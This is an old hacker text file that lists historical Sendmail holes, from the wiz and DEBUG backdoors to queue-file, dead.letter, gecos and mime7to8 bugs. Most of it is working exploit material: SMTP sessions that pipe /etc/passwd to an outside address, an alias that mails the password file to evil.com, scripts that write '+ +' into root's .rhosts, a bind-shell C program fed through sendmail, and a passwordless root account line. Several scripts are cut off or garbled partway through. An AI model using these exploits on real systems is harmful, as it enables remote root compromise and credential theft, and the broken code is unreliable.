Sendmail, known as the buggiest daemon on earth has a history of
having A large number of bugs. In this text, I have made a list
of known Sendmail holes. Of course, the list is not complete, but
it's an example of how many bugs Sendmail has had over the years.
I also recommend that you read the Sendmail security tutorial at
http://blacksun.box.sk in order to get a better view of what exactly
is Sendmail.

-----------------------------------------------------------------------
Hole Version of Sendmail
-----------------------------------------------------------------------

The oldest and easiest hole in sendmail is the 'wiz' backdoor,
now very
difficult to find. At the connect just type 'wiz' and then 'SHELL'
,and
you're in a root shell. [ it can be set by configuring sendmail.cf
file ...
'OW' option immediately followed by the encrypted password ]

DEBUG = *oLD* =

This bug was used by the inet worm by Robert T. Morris Jr. Its
exploiting
allows anyone to execute any program on a remote machine. It simply
consists in giving the 'debug' command, use a pipe to /bin/sh as
recipient
and feed the data with the commands you want to be executed on the
remote
machine.

[ If sendmail server answers with "200 Debug set" to
the 'debug' command
there are good chances the bug is still present ]

If no home directories are known or writable, an interesting variation
of
this is to create a bogus /etc/aliases.pag file that contains an
alias with
a command you wish to execute on your target. This may work since
on many
systems the aliases.pag and aliases.dir files, which control the
system's
mail aliases, are writable to the world.

evil % cat decode

bin: "| cat /etc/passwd | mail zen@evil.com"

evil % newaliases -oQ/tmp -oA`pwd`/decode

evil % uuencode decode.pag /etc/aliases.pag | mail decode@victim.com

evil % /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null

qf SunOS = SunOS-sendmailV5.1 =

The method used by sendmail version 5 to open a control file
[/usr/spool/mqueue/qf########] is unsecure. A race condition exists
whereby
another process may obtain a control-file file descriptor, opened
for write
access. Sendmail v5, during execution, sets umask(0), which is an
insecure
mask. In order not to leave open control files with mode 666, sendmail
v5
uses chmod(2) to set a secure file mode. However this is a race
condition,
as we can obtain an open file descriptor for write by opening the
control
file before the call to chmod(2).

IMPACT: Local users can write their own control files, and run
programs

After further investigation, it has been discovered that SVR4 based
ports
include sendmail(8) based on SMI code.

EXPLOIT:

1. Create the file sunsendmailcp

8>------------------------- cut here ---------------------------

#!/bin/sh

#

# sunsendmailcp from to

if [ $# -ne 2 ]; then

echo usage: `basename $0` from to

exit 1

fi

rm -f /usr/tmp/dead.letter

if [ -f /usr/tmp/dead.letter ]; then

echo sorry, cant continue - /usr/tmp/dead.letter exists

fi

if [ ! -r $1 ]; then

echo $1 doesnt exist or is unreadable

exit 1

fi

ln -s $2 /usr/tmp/dead.letter

/usr/lib/sendmail -L0 '-oM#anything' $USER < $1

rm /usr/tmp/dead.letter

exit 0

8>------------------------- cut here ---------------------------

2. Execute the command % ./sunsendmailcp sourcefile targetfile
and target
file will either be appended to or created.

OVERWRITE FILES = FiXED iN 5.59 =

Remote users are able to write to any non-root owned files in the
system.
This bug was definitely fixed in version 5.59 from Berkeley; despite
the
messages below, for versions of sendmail previous to 5.59, the "evil.com"
gets appended, despite the error messages, along with all of the
typical
mail headers, to the file specified:

% cat evil_sendmail

telnet victim.com 25 << EOSM

rcpt to: /home/zen/.rhosts

mail from: zen

data

random garbage

.

rcpt to: /home/zen/.rhosts

mail from: zen

data

evil.com

.

quit

EOSM

evil % /bin/sh evil_sendmail

Trying 128.128.128.1

Connected to victim.com

Escape character is '^]'.

Connection closed by foreign host.

evil % rlogin victim.com -l zen

Welcome to victim.com!

victim %

'-oQ' = DuNNo =

This bug involves the '-q' and the '-oQ' options and causes any
file to be
deleted and read. You should create a 'qf'-type file, in the
/usr/spool/mqueue dir, like this:

P28

T599831504

Dfilename

Suser

Ruser

H?P?return-path:

H?F?from: user (User Name)

H?x?full-name: User Name

HTo: user

Hsubject: Gotcha

after the command `sendmail -q -oQ' is issued, file `filename'
will be
deleted and its content will be mailed to 'user'.

- - - - The 'oQ' sets the 'Q' option ,which selects the dir in
which to
queue messages The 'q' make the daemon to process the queue - -
- -

'|PROGRAM ' = TeSTeD oN 5.55 = ...may be others

Anyone can specify arbitrary shell commands and/or pathnames for
the sender
and/or destination address. A typical attack to get the password
file is:

% telnet target.com 25

Trying 123.456.789.0...

Connected to target.com

Escape character is '^]'.

220 target.com Sendmail 5.55 ready at Mon, 12 Dec 93 23:51

mail from: "|/bin/mail me@myhost.com < /etc/passwd"

250 "|/bin/mail me@myhost.com < /etc/passwd"... Sender
ok

rcpt to: mickeymouse

550 mickeymouse... User unknown

data

354 Enter mail, end with "." on a line by itself

.

250 Mail accepted

quit

Connection closed by foreign host.

%

.forward = 5.61 =

When delivering to files and programs, `sendmail' does not do an
`initgroups(3)' after forking on final delivery. As a result, the
sender's
group list remains in effect throughout this stage. This is particularly
serious when root is sending the mail since a program executed out
of a
`.forward' file gains interesting privileges like `wheel' and `kmem'.
A
related hole can be broken down into a "problem" and an
"aggravation". The
"problem" is that queued local mail no longer has the
original recipient's
uid associated with it. Control files only store a list of exploded
recipients (i.e. users, files and programs) -- one per line -- each
prefaced with an `R'.

So, after an address resolves to the local machine and has undergone
alias
and ".forward" expansion, if the letter happens to get
queued, on the
succeeding queue run sendmail doesnt know who to run the final delivery
as.
The "aggravation" is that, when doing this final delivery
of queued local
mail, sendmail will `setuid()' itself to the sender's uid if it
is
available; in general, the sender's uid will be used when the sender
is on
the local machine. As a result, a user can run a program as anyone
who
sends them mail from the local machine. There is also an added
"complication"; the default uid and gid are also set to
the sender when
delivering mail! Since the default uid and gid are only used when
calling
`setuid()' and `setgid()' (to reset the uid/gid before doing final
delivery), these variables should never be set to the sender.

Save the following program as "sploit.c" changing MYUID
to your user id.
Compile "sploit.c" producing the executable "sploit"
in your home
directory. Create a ".forward" file containing:

\<user>, "|<path>/sploit"

[change to your username so you dont lose mail (unless, of course,
you'd
rather lose mail) and set <path> to your home directory path
(where sploit
lives)] Now, as another user, send yourself some mail. Note that
the sploit
program defers delivery the first time thru; check out "/tmp/whoami"
to see
that sploit ran as you. Now, run your mail queue (or open a beer
and wait
for sendmail to run it). After the queue run, note that the sploit
accepted
the letter and returned a successful exit status; check out "/tmp/whoami"
again to see that this time, sploit ran as the sender! You can also
use
"sploit.c" to test for the root initgroups() hole by checking
the group
list when "sploit" was first called.

Through this sendmail bug, it is possible to become uid daemon
(or whatever
your sendmail delivers non-user mail as), or the uid of any user.
The
specifics are as follows:

* The envelope From: field, or possibly the Errors-To: header
(but I've
not tested it), must be set to the pipe through a bounce of your
mail
will be returned. Typically this is executed by uid daemon.
* An error must be caused in the message such that sendmail will
send a
bounce to the From: envelope (or possibly to Errors-To:).

These two conditions are all that is necessary to exploit the bug.
Typically the simplest thing to pipe to is

|/usr/ucb/tail|/usr/bin/sh

aka |/usr/ucb/tail|/bin/sh

That's for SunOS 4.1.3. Other systems may have tail in /usr/bin
or /bin/;
the PATH is important in the case.

The condition we have used to generate an error is an invalid
Return-Receipt-To: header. There are a plethora of other ways to
do so, and
some of them may depend on the specifics of your sendmail; be forewarned.

The last ten lines of your message should contain whatever you
wish to do
as uid daemon.

Read any file. Using the '-C' option causes an alternative configuration
file to be used, if the file is a protected file which is actually
not a
send mail configuration file, `sendmail' will print out some contents
of
the file as an error message.

It is reported working on DYNIX (3.0.14) and ULTRIX (2.X)

$ sendmail -C /etc/shadow

<contents of /etc/shadow>

4.1 = TeSTeD oN 4.1 =

It allows remote access as bin...and since bin owns the /etc dir
you can
gain root.

Rsend needs mconnect, which is a binary, which just connects to
the place
and sends the data. You can get rid the of ()'s at the beginninga
and end
of the script, and get rid of the mconnect line, and run like ./rsend
>
file, then ascii U/L the file to port 25...If it says a lot of stuff
like
"Command Ununown" 25 times, then it didn't work.

Here's rsend:

#!/bin/sh

# Copyright, 1992, 1993 by Scott Chasin (chasin@crimelab.com)

#

# This material is copyrighted by Scott Chasin, 1992, 1993. The

# usual standard disclaimer applies, especially the fact that the

# author is not liable for any damages caused by direct or indirect

# use of the information or functionality provided by this program.

#

# Description:

#

# Exploit NEW sendmail hole and bind a port so we can spawn a program.

# Not for distribution under any circumstances

#

# Usage: smail

# default: smail <7001>

port=$3

user=$2

cmd=$4

if [ -z "$2" ]; then

user=daemon

fi

if [ -z "$3" ]; then

port=7002

fi

if [ -z "$4" ]; then

cmd="/bin/csh -i"

fi

(

sleep 4

echo "helo"

echo "mail from: |"

echo "rcpt to: bounce"

echo "data"

echo "."

sleep 3

echo "mail from: $user"

echo "rcpt to: | sed '1,/^$/d' | sh"

echo "data"

echo "cat > /tmp/a.c <

#include <sys/signal.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <netdb.h>

reap(){int s;while(wait(&s)!=-1);}main(ac,av)int ac;

int **av;{struct sockaddr_in mya;struct servent *sp

;fd_set muf;int myfd,new,x,maxfd=getdtablesize();

signal(SIGCLD,reap);if((myfd=socket(AF_INET,SOCK_STREAM,

0))<0)exit(1);mya.sin_family=AF_INET;bzero(&mya.sin_addr,

sizeof(mya.sin_addr));if((sp=getservbyname(av[1],"tcp"))

==(struct servent *)0){if(atoi(av[1])<=0)exit(1);mya.sin_port

=htons(atoi(av[1]));}else mya.sin_port=sp->s_port;if(bind(myfd,

(struct sockaddr *)&mya,sizeof(mya)))exit(1);if(listen(myfd,

1)<0)exit(1);loop: FD_ZERO(&muf);FD_SET(myfd,&muf);if

(select(myfd+1,&muf,0,0,0)!=1||!FD_ISSET(myfd,&muf))goto

loop;if((new=accept(myfd,0,0))<0)goto loop;if(fork()

==0){for(x=2;x

Or you can also ul this to port 25. BTW, it gets you in by running
a
program that listens to port 7008... you telnet to port 7008. You
can then
proceed to create new users in /etc/passwd because you own the /etc
dir...you need to type a ; after every command, and it gives you
1 error
every command...ignore it. The process may be noticed by a few admins.

helo

mail from: |

rcpt to: bounce

data

.

mail from: bin

rcpt to: | sed '1,/^$/d' | sh

data

cat > /tmp/a.c <

#include <sys/signal.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <netdb.h>

reap(){int s;while(wait(&s)!=-1);}main(ac,av)int ac;

int **av;{struct sockaddr_in mya;struct servent *sp

;fd_set muf;int myfd,new,x,maxfd=getdtablesize();

signal(SIGCLD,reap);if((myfd=socket(AF_INET,SOCK_STREAM,

0))<0)exit(1);mya.sin_family=AF_INET;bzero(&mya.sin_addr,

sizeof(mya.sin_addr));if((sp=getservbyname(av[1],"tcp"))

==(struct servent *)0){if(atoi(av[1])<=0)exit(1);mya.sin_port

=htons(atoi(av[1]));}else mya.sin_port=sp->s_port;if(bind(myfd,

(struct sockaddr *)&mya,sizeof(mya)))exit(1);if(listen(myfd,

1)<0)exit(1);loop: FD_ZERO(&muf);FD_SET(myfd,&muf);if

(select(myfd+1,&muf,0,0,0)!=1||!FD_ISSET(myfd,&muf))goto

loop;if((new=accept(myfd,0,0))<0)goto loop;if(fork()

==0){for(x=2;x

-d########### = TeSTeD oN SunOS & SunOS with Sendmail8.6.4
=

This bug is present in all 8.X.X sendmail versions prior to 8.6.7
Here
follow excerpts from Michael Widner's message on Bugtraq with his
script
for SunOs and Solaris, and another script tested on SunOS 5.2 with
sendmail
8.6.4:

"The important thing to know is that if your sendmail crashes
when you pass
it something like -d387654321 then it can most likely be exploited
to gain
root access.

Without going into much detail, -dx.y writes y into the debug array
as
array[x]=y. Range checking is not performed properly on x, so it's
possible
to pass negative integers that pass the range check. Find a key
location
before the debug array, over write it, and you're in business.

The problem in trying to create a generic script is that the 'key'
locations have different offsets from the debug array for every
version of
sendmail. Sometimes they're easy to locate if you can get a core,
but
sometimes it is tough to get a core w/o already being root. Also,
sometimes
a core tells you nothing.

The following script is Sun specific, and patches are now available
for all
versions of Sun sendmail. The script creates a suid root owned copy
of
/bin/sh and places it in /tmp. If you're hacking solaris, I'd suggest
you
choose some program other than /bin/sh. "

/* What follows is a sample run exercising the latest sendmail
hole and the
script used to exploit this hole. This is a re-send; I neglected
to escape
the "." in the sendmail script, leaving the program slightly
truncated. To
fix this, I have escaped the . so prior to executing this you must
remove
the \. (does that make any sense? :-) There was also a small problem
with
nested quotes pointed out by Peter Wemm which I have fixed.

This is the "small version" of the script; it assumes
you have a sane
sendmail.cf. In this manner, it is not a particularly robust "breakin
script" but I believe it does illustrate how to exploit the
bug.

This program uses "calc.c," the program mentioned by
Timothy Newsham in an
earlier message. The program has been modified slightly so that
it gives
better results (it would occasionally fail to locate the offset
of a config
given a buggy sendmail. The fix is to force a sync() after it generates
a
coredump.) The remainder of the program was written by myself and
a fellow
student, Steven Dake.

We have held off on releasing this script until we were able to
notify the
people responsible for system security at NAU. Locals subscribing
to this
digest beware; sendmail on our machines has been patched! :-) */

When a message is queued for delivery by sendmail, a pair of files
are
written to the spool directory (/var/spool/mqueue on many systems).
One of
these files (qf<something>) contains information related to
the processing
of the message (headers, sender, recipient, etc.). Taking versions
of
sendmail prior to 8.6.10 as an example, one of the pieces of information
maintained in this file is the name of the controlling user if mail
is
being delivered to a script (or file). By feeding sendmail a recipient
address that contains newlines, it is possible to add lines to the
queue
file which specify a controlling user and an executable to run with
that
users access level. The 8.6.10 patch removes this hole, by stripping
newlines from the recipient address before writing the queue file.

EXPLOIT:

/* smh.c - Michael R. Widner - atreus (2/27/95)

*

* a quick hack to abuse sendmail 8.6.9 or whatever else is subject
to this

* hole. It's really just a matter of passing newlines in arguments
to

* sendmail and getting the stuff into the queue files. If we run
this

* locally with -odq we are guaranteed that it will be queue, rather
than

* processed immediately. Wait for the queue to get processed automatically

* or just run sendmail -q if you're impatient.

* usage: smh [ username [/path/to/sendmail]]

* It's worth noting that this is generally only good for getting
bin.

* sendmail still wants to process the sendmail.cf file, which
contains

* Ou1 and Og1 most of the time, limiting you to bin access. Is
there

* a way around this?

* cc -o smh smh.c should do the trick. This just creates a bin
owned

* mode 6777 copy of /bin/sh in /tmp called /tmp/newsh. Note that
on some

* systems this is pretty much worthless, but you're smart enough
to know

# The link can be set to any file on the system, it will append
the contents

# of the email to the linked file (/etc/passwd, /etc/hosts.equiv,
/.rhosts)..

# - sirsyko

r00tDIR=`grep root /etc/passwd |cut -f6 -d:`

RunDMC=`hostname`

if [ -f /tmp/dead.letter ]; then rm /tmp/dead.letter

fi

if [ -f /tmp/dead.letter ]; then

echo "Sorry, aint gonna work"

exit

fi

ln -s ${r00tDIR}/.rhosts /tmp/dead.letter

(

sleep 1

echo "helo"

echo "mail from: noone"

echo "rcpt to: noone@bounce"

echo "data"

echo "+ +"

echo "."

sleep 3

echo "quit"

) | telnet ${RunDMC} 25

sleep 5

remsh ${RunDMC} -l root

............... CuT HeRe ...............

What the r00t guys exploit does is just this:

* creates a symbolic link to the target file (in this case '.rhosts'
in
root's directory) called '/tmp/dead.letter'.
* Then sends a message (containing lines you want to append) to
a
non-existent user.
* Sendmail is configured (as default) to append lines of non-recipient
messages to '/tmp/dead.letter' and does it with root privileges.
If
'/tmp/dead.letter' is a symbolic link Sendmail will follow it and
will
overwrite the pre-existent file.
* Probably if Sendmail configuration has been changed to make it
behave
in a different way, looking at the cf file could lead you to exploit
the bug the same.

8.7.5 gecos = 8.X.X <8.8.0 = TeSTed oN 8.6.12

This bug was pointed out by Mudge of L0pht on Bugtraq on Sept 1996,
excerpts follow:

A buffer overflow condition exists that allows a user to overwrite
the
information in a saved stack frame. When the function returns, the
saved
frame is popped off of the stack and user code can be executed.
If a user
is able to alter his/her gecos field then that user can exploit
a coding
flaw in sendmail to elevate their effective UID to 0.

The actual problem in the code is quite apparent.

Inside recipient.c we find the following:

char nbuf[MAXNAME + 1];

...

buildfname(pw->pw_gecos, pw->pw_name, nbuf);

The problem is that nbuf[MAXNAME + 1] is a fixed length buffer
and as we
will soon see, buildfname() does not honor this. [ ..... ]

An attacker can simply create a very large message in which each
line ends
with "=" and use it to overwrite the sendmail process's
stack. Here the bug
is only described... why doesn't someone write an exploit?!

There is a serious bug in the mime7to8() function of sendmail 8.8.0
which
allows anyone who can send you mail to execute arbitrary code as
root on
your machine. I think mime7to8() only gets invoked if you set the
undocumented "9" mailer flag. However, this flag is set
by default in the
cf/mailer/local.m4 file that ships with sendmail 8.8.0. Thus, if
you are
using an old V6 format configuration file from sendmail 8.7, you
are
probably safe, but if you generated a new V7 configuration file,
you are
probably vulnerable to this bug.

Now here are the technical details:

The inner loop of mime7to8() looks like this:

u_char *obp;

char buf[MAXLINE];

u_char obuf[MAXLINE];

....

/* quoted-printable */

obp = obuf;

while (fgets(buf, sizeof buf, e->e_dfp) != NULL)

{

if (mime_fromqp((u_char *) buf, &obp, 0, MAXLINE) == 0)

continue;

putline((char *) obuf, mci);

obp = obuf;

}

When mime_fromqp() encounters a line that ends "=\n",
it chops those two
characters off and returns 0 to indicate a continuation line. This
causes
the while loop to continue, reading another input line and appending
its
contents to obuf. However, when the loop continues without resetting
obp to
obuf, there are fewer than MAXLINE characters left in the output
buffer.
This means an attacker can simply create a very large message in
which each
line ends with "=". Eventually obp will move beyond the
end of obuf and
start writing almost arbitrary data to the sendmail process's stack
(as
long as no bytes are 0).

This local queue filling DoS attack in sendmail is quite dangerous.
But good
security policy (like mine) will prevent attackers from doing such
things.
Control files (in /var/spool/mqueue) created by 'sendmail -t' are
owned by
root.attacker's_group; turn on quotas for group 'attacker's_group'
on the
file system containing /var/spool/mqueue directory, and your host
will be not
vulnerable; but you _have to_ configure your sendmail as _nosuid_
daemon;

Much more dangerous are remote queue filling DoS attacks. If you
have enabled
relaying, you can use shown below smdos.c proggie; it will quite
fast fullfill
partition on disk where /var/spool/mqueue resides. you should notice
increased
LA during attack; in contrast to local DoS attacks, control files
created by
smdos.c are owned by root.root, so ... it's much more difficult
to prevent
offenders from doing it;

Bug in Sendmail's HELO Command (taken from rootshell.com)
******************************
Note: this won't get you root access(14) or get you into partsin
a system you're
not supposed to get into, but this is still pretty cool. In fact,
it let's you
hide your IP/hostname when faking mail!

[ http://www.rootshell.com/ ]

We've had this exploit since January but sat on it until everyone
had a
change of implementing a stable version of sendmail 8.9.x. (And
because the
last thing I want to do is help the spammers) It has now made its
way to
Bugtraq so without further ado.

I found a pretty simple way to prevent the hiding of the sender's
IP
address. The method to hide the IP address of the sender is described
bellow. Now, if we want to keep track of such exploit attempts,
we have to
compile sendmail 8.8.8 with a PICKY_HELO_CHECK defined in conf.h:

#define PICKY_HELO_CHECK 1

This will force sendmail to syslog an authentication warning
(message with LOG_INFO level) and include an X-Authentication-Warning:
header in the message, saying what host tried to hide itself. Check
out
the source (srvrsmpt.c, main.c). Also, LogLevel must be set to a
value
higher than 3 (default is 9) in sendmail.cf.

That's perfect - now you know, who is responsible for that annoying
junk in your mailbox: "Received: from spammer (marc@math.university.edu
[150.129.84.5])". Nothing easier...
But I found a small hole, which allows user to hide it's personality,
and send mails anonymously. The only thing you should do is to
pass HELO string longer than approx. 1024 B - sender's location
and
other very useful information will be cropped!!! Message
headers should become not interesting. Sometimes, sender
may become quite untraceable (but not always, if it's possible
to obtain logs from machine which has been used to sent):

Here's a simple example of Sendmail's HELO hole usage. Note, this
script has been written ONLY to show how easy may be sending
fakemails, mailbombs, with cooperation of Sendmail ;) Script is
very slow and restricted in many ways, but explains the problem
well (note, some of non-Berkeley daemons are also affected,
probably Qmail?):

Suggested fix: insert additional length limit into HELO/EHLO
parameter scanning routine OR disable AllowBogusHELO (but it
may cause serious troubles). I have no 8.8.8 sources at the
time, so execuse me if it's unclear.

PS:

--
From: Gregory Neil Shapiro <sendmail+gshapiro@sendmail.org>

I was able to reproduce the header problem by lengthening the HELO
string
in your script.

Ok, here's a brief and interesting explonation of this famous exploit.
This
exploit uses sendmail version 8.8.4 and it requires that you have
a shell
acount on the server in question. The exploit creates a link from
/etc/passwd to /var/tmp/dead.letter Very simple really. Here's how
it
works, below are the exact commands as you have to type them (for
the
technically challendged ones)

Kaboom, you're done, telnet to port 23 and log in as lord, no password
required. Thanx to a little bit of work we did, lord just happens
to have
the same priviledges as root.

There are a couple of reasons why this might not work.

1. /var and / are different partitions (as you already know, you
can't
make hard links between different partitions)
2. There is a postmaster account on a machine or mail alias, in
which
case, your mail will end up there instead of being written to a
etc/passwd
3. /var/tmp doesn't exist or isn't publicly writable

Duncan Silver
www.hackersclub.com/uu

Editor's notes: lord::0:0:leet shit:/root:/bin/bash is a line out
of a Unix
password file(33).